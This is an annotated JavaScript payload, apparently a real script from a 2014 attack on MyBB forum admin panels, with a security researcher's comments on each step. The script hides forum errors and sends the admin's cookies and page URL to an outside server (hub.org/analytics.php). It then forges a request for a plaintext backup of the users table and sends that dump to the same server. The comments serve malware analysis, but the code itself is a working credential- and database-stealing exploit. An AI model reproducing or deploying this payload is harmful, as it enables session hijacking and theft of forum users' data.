//# comments on [http://hub.org/analytics.php] as of [15-Nov-2014 16:50 UTC] by [devilshakerz.com]

document.getElementsByClassName('error')[0].style.display = 'none'; //# suppress MyBB-generated errors


function runStuff() {

    jQuery.noConflict(); //# make jQuery compatible with other JavaScript libraries

    //# send a POST request to adversary's server containing the address of the MyBB admin panel and user cookies originally designated only for the victim forum's server
    jQuery.post('http://hub.org/analytics.php', {
        path: document.location.href,
        cookie: document.cookie
    }, null, 'text');


    //# remotely get contents of the ACP database backups page
    jQuery.get('index.php?module=tools-backupdb&action=backup', function(data) {

        //# get name of the MyBB's native _users table
        var table = jQuery(data).find('#table_select option[value$="users"]:not([value*="tapatalk"])').val();

        //# get the post key (not defined in the ACP)
        var post_key = jQuery(data).find('input[name="my_post_key"]').val();

        //# make a spoofed request to create a backup of the _users table and to return the contents (plaintext file download)
        jQuery.post('index.php?module=tools-backupdb&action=backup', {
            my_post_key: post_key,
            tables: [ table ],
            filetype: 'plain',
            method: 'download',
            contents: 'data',
            analyzeoptimize: 0
        }, function(data) {

            //# send second POST request to adversary's server containing the address, cookies (again) and the backup file contents
            jQuery.post('http://hub.org/analytics.php', {
                path: document.location.href,
                cookie: document.cookie,
                db: data
            }, null, 'text');

        }, 'text');

    });


}

//# load jQuery, then run the payload code
if (typeof jQuery === 'undefined') {
    var jq = document.createElement('script');
    jq.src = 'http://code.jquery.com/jquery.js';
    jq.onload = runStuff;
    document.body.appendChild(jq);
} else {
    runStuff();
}